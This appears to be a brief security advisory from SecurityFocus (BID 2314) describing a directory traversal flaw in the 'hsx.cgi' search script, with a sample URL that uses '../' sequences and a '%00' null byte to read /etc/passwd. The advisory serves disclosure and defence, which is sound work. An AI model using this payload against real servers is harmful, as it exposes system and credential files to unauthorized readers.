source: http://www.securityfocus.com/bid/2314/info

A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions. 

http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00